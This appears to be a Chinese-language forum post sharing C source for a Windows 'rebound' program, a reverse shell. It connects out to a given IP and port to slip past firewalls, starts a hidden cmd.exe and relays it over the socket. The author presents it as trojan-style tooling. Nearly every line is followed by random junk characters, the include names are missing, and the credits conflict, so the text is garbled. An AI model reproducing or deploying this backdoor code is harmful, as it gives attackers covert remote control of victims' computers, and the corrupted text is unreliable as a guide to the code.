这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C+t0Zen
2rW9ja
/* ============================== w59q* 2
Rebound port in Windows NT P+Gz'
By wind,2006/7 :7i x`C2
===============================*/ Eg&:yF}?(
#include Uq @].3nf
#include A.mFa1lH
!x:{"
#pragma comment(lib,"wsock32.lib") gnkeJ}K
/i dI-
void OutputShell(); l =t/"M=
SOCKET sClient; ,zuS)?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "TP~TjXfq
o:&8H>(hn]
void main(int argc,char **argv) xkRS?Q g
{
iDx(qdla
WSADATA stWsaData; pN)x,<M)
int nRet; <CB%e!~.9
SOCKADDR_IN stSaiClient,stSaiServer; &Nh
zEl1
Wx8:GBM$2
if(argc != 3)
F3K<-JK+
{ gKcBx6G
Q
printf("Useage:\n\rRebound DestIP DestPort\n"); lXF7)H&T
return; rT=C/SKP
} KxD/{0F
EP"Z 58&$R
WSAStartup(MAKEWORD(2,2),&stWsaData); t%G.i@{pkp
Uf|uFGb
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x[$KZGK+GL
h-|IZ}F7
stSaiClient.sin_family = AF_INET; V']Z_$_
stSaiClient.sin_port = htons(0); 'sXrtl7{^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); YXZP-=fB>i
g4Q' Fub+I
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P(FlU]q
{ 5|~nX8>
printf("Bind Socket Failed!\n"); |x.^rx`
return; AE+BrN
+"2
} H2H[ DVKv
V?'p E
stSaiServer.sin_family = AF_INET; M>|ZBEK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4F9!3[}qF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :4-,Ru1C"
+Adk1N8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,*dLE
{ 1pg#@h[|t
printf("Connect Error!"); =PQ4S2Q
return; 3[y$$qXI
} _WvVF*Q"k
OutputShell(); J}[[tl
} $./aKJ1B
9r+'DX?>
void OutputShell() *r[V[9+y-D
{ kX+9U"`
C
char szBuff[1024]; 0;@>jo6,!
SECURITY_ATTRIBUTES stSecurityAttributes; d/jP2uuA
OSVERSIONINFO stOsversionInfo; (_!I2"Q*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vb?.`B_>&
STARTUPINFO stStartupInfo; {aq)Y>o5:T
char *szShell; ~c<8;,cjYR
PROCESS_INFORMATION stProcessInformation; S5u$I
unsigned long lBytesRead; cfilH"EK
:hs~;vn)
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }eW<P079
mv #hy
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z1I.f"XY
stSecurityAttributes.lpSecurityDescriptor = 0; 'tw
]jMD
stSecurityAttributes.bInheritHandle = TRUE; wggB^ }~
x>B\2;
^\Z+Xq1~/
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4ryG_p52l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MJqWc6{ n
8#lq:
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3~bB2APk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WA,D=)GP
stStartupInfo.wShowWindow = SW_HIDE; ;5L^)Nyd
stStartupInfo.hStdInput = hReadPipe; GC7 WRA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i0$*):b
/hu>MZ(\
GetVersionEx(&stOsversionInfo); Ky"FL
,dTmI{@O
switch(stOsversionInfo.dwPlatformId) tuIZYp8tIN
{ ,pI9=e@O/z
case 1: ohqThl
szShell = "command.com"; $l"%o9ICG
break; =?0v,;F9|
default: !L9OJ1F
szShell = "cmd.exe"; R'`'q1=R
break; {pH# zs4Y
} cQuL9Xo
_"B.V(
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xl`AiO `K
zs Q|LwQ
send(sClient,szMsg,77,0); K$Vu[!l`
while(1) ("t'XKP&N
{ ,>rvl P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {R-o8N
if(lBytesRead) O+|C<;K
{ n<j+KD#a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Pb>/b\&JS
send(sClient,szBuff,lBytesRead,0); po*8WSl9c[
} 6];3h>c]N
else KS93v9|
{ 3sdL\
lBytesRead=recv(sClient,szBuff,1024,0); qE[YZ(/f0&
if(lBytesRead<=0) break; y)&K9 I
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X.;VZwT+
} C 5gdvJN
} c/tB_]
hBpa"0F
return; O#ZZ PJ"
}